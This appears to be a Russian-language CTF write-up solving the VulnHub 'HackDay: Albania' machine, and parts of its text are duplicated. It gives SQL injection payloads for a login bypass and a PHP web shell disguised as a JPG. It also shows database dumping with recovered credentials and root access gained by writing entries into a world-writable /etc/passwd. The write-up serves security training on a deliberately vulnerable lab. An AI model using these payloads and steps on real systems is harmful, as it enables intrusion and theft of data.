Продолжаем разбор лаб с VulnHub. На этот раз займемся HackDay: Albania. К образу имеется следующее описание, из которого видно, что это таск с HackDay Albania's 2016 CTF
Таск как и прошлый рассчитан на новичков. Поэтому в некоторые моменты в статье будут рассмотрены более подробно.
Запускаем скачанный образ в VirtualBox, и после загрузки nmap'ом ищем открытые порты:
Переходим по 192.168.1.44:8008 видим всплывающее окно
И коммент в коде страницы:
Посмотрим содержимое файла robots.txt
Попробовав перейти зайти в одну из этих директорий нам открывается файл index.html, с вот такой картинкой:
background.jpg
Воспользовавшись переводчиком, понимаем что это не та директория. Для проверки всех, воспользуемся следующим скриптом для dirsearch.
Запускаем:
После завершения сканирования, видим что в одной из директорий /unisxcudkqjydw/ отсутствует файл background.jpg
После перехода в эту директорию в браузере видим такой ответ:
Смотрим содержимое директории /vulnbank/ и далее попадаем на страницу авторизации:
Проверяем наличие sql инъекций:
И получаем ответ:
Попытки сдампить содержимое таблиц к успеху не привели, sqlmap на всё выдавал ошибку: [CRITICAL] unable to retrieve the number of database users.
Пробуем вручную выполнить запрос с данными: username=admin' RLIKE SLEEP(5)-- DBgy&password=admin
И нас неожиданно редиректит в профиль какого-то пользователя:
Отлично! Нам доступна возможность загрузки файла, пробуем что-то залить, и в ответ получаем сообщение:
Ок, создаём файл
Заливаем, и получаем сообщение, что всё прошло успешно. Загруженный файл попадает в директорию upload, а так же доступен по ссылке:
192.168.1.44:8008/unisxcudkqjydw/vulnbank/client/view_file.php?filename=shell.jpg&cmd=id.
Но вместо заветного шела получаем сообщение:
Попробовав несколько вариантов, обнаруживаем, что перед нами самый обычный php инклуд, без возможности выполнить системные команды.
Можем вытянуть из БД клиентов и их пароли:
Просматривая файлы и директории обнаруживаем такую запись:
Отлично, мы можем создать пользователя. Создаём свой хеш пароля admin:
Далее вставляем через имеющийся у нас шелл вставляем в файл /etc/passwd такую запись
P.S. Добавляем двух пользователей, потому что коннект по ssh от рута у нас не был доступен. Можно было добавить только рута, и все остальные действия делать залогинившись в виртуалке, но мне удобнее ssh.
Коннектимся по ssh под пользователем gh0st3rs, далее выполняем команду
И после ввода пароля, получаем root привилегии на этой виртуальной машине
Дело за малым, осталось найти флаг.
P.S. После расшифровки, узнаём что флаг это md5 от rio
This was used in HackDay Albania's 2016 CTF.
The level is beginner to intermediate.
It uses DHCP.
Note: VMware users may have issues with the network interface doing down by default. We recommend (for once!) using Virtualbox.
Таск как и прошлый рассчитан на новичков. Поэтому в некоторые моменты в статье будут рассмотрены более подробно.
Начнём
Запускаем скачанный образ в VirtualBox, и после загрузки nmap'ом ищем открытые порты:
sudo nmap 192.168.1.1-255 -sV
Starting Nmap 7.01 ( nmap.org ) at 2016-12-18 00:03 MSK
Nmap scan report for 192.168.1.44
Host is up (0.0013s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
8008/tcp open http Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 08:00:27:98:0D:5F (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Переходим по 192.168.1.44:8008 видим всплывающее окно
И коммент в коде страницы:
OK ok, por jo ketu :)
Посмотрим содержимое файла robots.txt
robots.txt
Disallow: /rkfpuzrahngvat/
Disallow: /slgqvasbiohwbu/
Disallow: /tmhrwbtcjpixcv/
Disallow: /vojtydvelrkzex/
Disallow: /wpkuzewfmslafy/
Disallow: /xqlvafxgntmbgz/
Disallow: /yrmwbgyhouncha/
Disallow: /zsnxchzipvodib/
Disallow: /atoydiajqwpejc/
Disallow: /bupzejbkrxqfkd/
Disallow: /cvqafkclsyrgle/
Disallow: /unisxcudkqjydw/
Disallow: /dwrbgldmtzshmf/
Disallow: /exschmenuating/
Disallow: /fytdinfovbujoh/
Disallow: /gzuejogpwcvkpi/
Disallow: /havfkphqxdwlqj/
Disallow: /ibwglqiryexmrk/
Disallow: /jcxhmrjszfynsl/
Disallow: /kdyinsktagzotm/
Disallow: /lezjotlubhapun/
Disallow: /mfakpumvcibqvo/
Disallow: /ngblqvnwdjcrwp/
Disallow: /ohcmrwoxekdsxq/
Disallow: /pidnsxpyfletyr/
Disallow: /qjeotyqzgmfuzs/
Disallow: /slgqvasbiohwbu/
Disallow: /tmhrwbtcjpixcv/
Disallow: /vojtydvelrkzex/
Disallow: /wpkuzewfmslafy/
Disallow: /xqlvafxgntmbgz/
Disallow: /yrmwbgyhouncha/
Disallow: /zsnxchzipvodib/
Disallow: /atoydiajqwpejc/
Disallow: /bupzejbkrxqfkd/
Disallow: /cvqafkclsyrgle/
Disallow: /unisxcudkqjydw/
Disallow: /dwrbgldmtzshmf/
Disallow: /exschmenuating/
Disallow: /fytdinfovbujoh/
Disallow: /gzuejogpwcvkpi/
Disallow: /havfkphqxdwlqj/
Disallow: /ibwglqiryexmrk/
Disallow: /jcxhmrjszfynsl/
Disallow: /kdyinsktagzotm/
Disallow: /lezjotlubhapun/
Disallow: /mfakpumvcibqvo/
Disallow: /ngblqvnwdjcrwp/
Disallow: /ohcmrwoxekdsxq/
Disallow: /pidnsxpyfletyr/
Disallow: /qjeotyqzgmfuzs/
Попробовав перейти зайти в одну из этих директорий нам открывается файл index.html, с вот такой картинкой:
background.jpg
Воспользовавшись переводчиком, понимаем что это не та директория. Для проверки всех, воспользуемся следующим скриптом для dirsearch.
Запускаем:
sudo python3 robotscan.py -u http://192.168.1.44:8008 -e php,txt,html,json,bak,jpg -x 403 -w /usr/share/dirb/wordlists/big.txt
После завершения сканирования, видим что в одной из директорий /unisxcudkqjydw/ отсутствует файл background.jpg
После перехода в эту директорию в браузере видим такой ответ:
IS there any /vulnbank/ in there ???
Смотрим содержимое директории /vulnbank/ и далее попадаем на страницу авторизации:
Проверяем наличие sql инъекций:
sudo sqlmap -u 'http://192.168.1.44:8008/unisxcudkqjydw/vulnbank/client/login.php' --data='username=admin&password=admin' --random-agent --level=5 --risk=3
И получаем ответ:
sqlmap resumed the following injection point(s) from stored session:
— Parameter: username (POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind — WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: username=admin' RLIKE (SELECT (CASE WHEN (9555=9555) THEN 0x61646d696e ELSE 0x28 END))-- pSKE&password=admin
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 RLIKE time-based blind
Payload: username=admin' RLIKE SLEEP(5)-- DBgy&password=admin
Попытки сдампить содержимое таблиц к успеху не привели, sqlmap на всё выдавал ошибку: [CRITICAL] unable to retrieve the number of database users.
Пробуем вручную выполнить запрос с данными: username=admin' RLIKE SLEEP(5)-- DBgy&password=admin
И нас неожиданно редиректит в профиль какого-то пользователя:
Скрытый текст
Отлично! Нам доступна возможность загрузки файла, пробуем что-то залить, и в ответ получаем сообщение:
After we got hacked we our allowing only image files to upload such as jpg, jpeg, bmp etc...
Ок, создаём файл
shell.jpg
<?php system($_GET['cmd']); ?>
Заливаем, и получаем сообщение, что всё прошло успешно. Загруженный файл попадает в директорию upload, а так же доступен по ссылке:
192.168.1.44:8008/unisxcudkqjydw/vulnbank/client/view_file.php?filename=shell.jpg&cmd=id.
Но вместо заветного шела получаем сообщение:
Warning: system(): Unable to fork [id] in /var/www/html/unisxcudkqjydw/vulnbank/client/upload/shell.jpg on line 1
Попробовав несколько вариантов, обнаруживаем, что перед нами самый обычный php инклуд, без возможности выполнить системные команды.
Плюшки при работе с php shell
Заливаем через форму отправки тикетов шелл b374k
Запускаем BurpSuite и настраиваем там правило:
P.S. без него BurpSuite каждый раз будет к запросу view_file.php?filename=myShell.jpg добавлять ?filename=myShell.jpg что приведёт к ошибкам.
Запускаем наш шелл, и переименовываем файл upload/myShell.jpg в upload/myShell.php.
Больше BurpSuite нам не понадобится. теперь шелл у нас доступен по адресу: 192.168.1.44:8008/unisxcudkqjydw/vulnbank/client/upload/myShell.php
Запускаем BurpSuite и настраиваем там правило:
P.S. без него BurpSuite каждый раз будет к запросу view_file.php?filename=myShell.jpg добавлять ?filename=myShell.jpg что приведёт к ошибкам.
Запускаем наш шелл, и переименовываем файл upload/myShell.jpg в upload/myShell.php.
Больше BurpSuite нам не понадобится. теперь шелл у нас доступен по адресу: 192.168.1.44:8008/unisxcudkqjydw/vulnbank/client/upload/myShell.php
Можем вытянуть из БД клиентов и их пароли:
Скрытый текст
function execute_query($sql){
$db_host = "127.0.0.1";
$db_name = "bank_database";
$db_user = "root";
$db_password = "NuCiGoGo321";
$con=mysqli_connect($db_host,$db_user,$db_password,$db_name);
if(mysqli_connect_errno()){
echo "Failed to connect to MySQL: " . mysqli_connect_error();
die(0);
}
$response = mysqli_query($con,$sql);
mysqli_close($con);
return $response;
}
$result = execute_query("SELECT * FROM klienti;");
while($row = $result->fetch_assoc()) { print_r($row); }
Просматривая файлы и директории обнаруживаем такую запись:
passwd 1.58 KB root:root -rw-r--rw- 22-Oct-2016 17:21:42
Отлично, мы можем создать пользователя. Создаём свой хеш пароля admin:
openssl passwd -1 -salt admin admin
Далее вставляем через имеющийся у нас шелл вставляем в файл /etc/passwd такую запись
gh0st3rs:$1$admin$1kgWpnZpUx.vTroWPXPIB0:1001:0:GH0st3rs:/:/bin/bash
admin:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0:admin:/:/bin/bash
P.S. Добавляем двух пользователей, потому что коннект по ssh от рута у нас не был доступен. Можно было добавить только рута, и все остальные действия делать залогинившись в виртуалке, но мне удобнее ssh.
Коннектимся по ssh под пользователем gh0st3rs, далее выполняем команду
su admin
И после ввода пароля, получаем root привилегии на этой виртуальной машине
Дело за малым, осталось найти флаг.
root@hackday:/# find / -name "*flag*"
root@hackday:/# cat /root/flag.txt
Urime,
Tani nis raportin!
d5ed38fdbf28bc4e58be142cf5a17cf5
root@hackday:/#
P.S. После расшифровки, узнаём что флаг это md5 от rio
Поделиться с друзьями